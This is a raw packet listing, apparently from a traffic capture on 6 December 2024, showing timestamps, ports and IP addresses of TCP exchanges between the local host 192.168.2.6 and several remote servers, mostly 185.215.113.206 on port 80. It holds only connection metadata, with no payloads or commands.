Dec 6, 2024 18:45:48.387332916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.387356997 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.388334990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.388425112 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.388427973 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.388539076 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.393029928 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.393136024 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.393431902 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.393440962 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.393917084 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.393924952 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.424299955 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.544260979 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.649172068 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:48.649193048 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:48.649231911 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:48.649262905 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:48.649274111 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:48.649516106 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:48.649518967 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:48.649557114 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:48.653918982 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:48.653933048 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:48.780584097 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.780663013 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.780683041 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.780755043 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.785387993 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.785394907 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.785629034 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.785680056 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.785803080 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.786524057 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.786533117 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.786668062 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.786674976 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.786777973 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.786880970 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.789026022 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.789139032 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.789177895 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.789242029 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.791551113 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.791563034 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.791809082 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.791860104 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.791985035 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.792298079 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.792301893 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.792535067 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.792587996 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.792673111 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.807502985 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.807526112 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.807583094 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.807599068 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.807642937 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.807873011 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.807914019 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.807914019 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.807952881 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.810164928 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:48.810178995 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:48.831332922 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.839329004 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.839330912 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.866946936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.867012978 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.867042065 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.867080927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.867398977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.867412090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.867451906 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.868434906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.868486881 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.868984938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.869126081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.869508982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.869546890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.869707108 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.869750023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.870560884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.870604992 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.870747089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.870789051 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.871646881 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.871695042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.871948004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.871997118 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.872714043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.872777939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.872916937 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.872953892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.873843908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.873857975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.873883009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.873898983 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.874861956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.874906063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.875328064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.875376940 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.875940084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.875983000 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.876224995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.876270056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.877067089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.877121925 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.877433062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.877520084 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.878118992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.878237009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.878268957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.878304005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.879210949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.879281044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.879884958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.879929066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.880245924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.880429029 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.880863905 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.880899906 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.881310940 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.881360054 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.881705046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.881748915 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.882409096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.882472038 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.883323908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.883366108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.883539915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.883553028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.883579969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.883601904 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.884538889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.885366917 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.885426998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.885605097 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.886003017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.886055946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.886652946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.886905909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.886964083 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.887717962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.888180017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.888243914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.888813972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.888869047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.888947010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.889887094 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.889945984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.890434027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.891282082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.891340971 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.891433001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.892160892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.892173052 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.892199039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.892206907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.893126011 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.893193007 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.893291950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.894265890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.894323111 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.894352913 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.895246983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.895308018 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.895659924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.896183014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.896373034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.896384954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.896423101 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.897460938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.897473097 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.897531033 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.898478985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.898888111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.898940086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.899554968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.899733067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.899782896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.900623083 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.900794983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.900851965 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.901711941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.902512074 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.902575016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.902762890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.903033972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.903088093 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.903847933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.903980017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.904036045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.904973984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.905116081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.905177116 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.905987978 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.906037092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.906085968 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.907083035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.907284021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.907341003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.908121109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.908349037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.908410072 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.909221888 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.909461021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.909533978 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.909713984 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.909763098 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.909828901 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.910043001 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:48.910056114 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:48.910290003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.910397053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.910440922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.911350012 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.911684036 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.911746025 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.912471056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.912586927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.912636995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.913578987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.913630962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.914259911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.914612055 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.914674044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.914747000 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.915750980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.915762901 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.915815115 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.916728973 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.916974068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.917033911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.917870998 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.918246984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.918311119 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.918910980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.918921947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.918973923 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.919975042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.920140982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.920186043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.920226097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.921010017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.921066999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.921713114 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.922135115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.922147036 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.922195911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.923160076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.923397064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.923491001 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:48.924302101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:48.925173998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.012053967 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.012089014 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.012223005 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.012259007 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.012314081 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.012775898 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.012814999 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.012991905 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.013056040 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.013072014 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.059123993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.059171915 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.059614897 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.059664965 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.059675932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.059686899 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.059720039 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.060717106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.060765028 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.061036110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.061144114 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.061491013 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.061531067 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.061559916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.061598063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.062644005 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.062690973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.063251972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.063293934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.063646078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.063693047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.063863039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.063903093 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.064755917 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.064790964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.064940929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.064976931 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.065773010 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.065866947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.066301107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.066349030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.067390919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.067409039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.067437887 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.067455053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.067960978 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.067996979 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.068105936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.068159103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.069019079 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.069060087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.070168972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.070182085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.070210934 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.070214987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.070229053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.070257902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.071208000 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.071289062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.071302891 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.071340084 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.072252035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.072298050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.072319031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.072367907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.073359966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.073401928 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.073461056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.073496103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.074403048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.074448109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.074820042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.074862957 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.075459003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.075500011 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.075864077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.075906992 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.076591969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.076628923 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.077050924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.077095985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.077613115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.077701092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.077744961 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.077784061 CET	49796	80	192.168.2.6	185.215.113.206
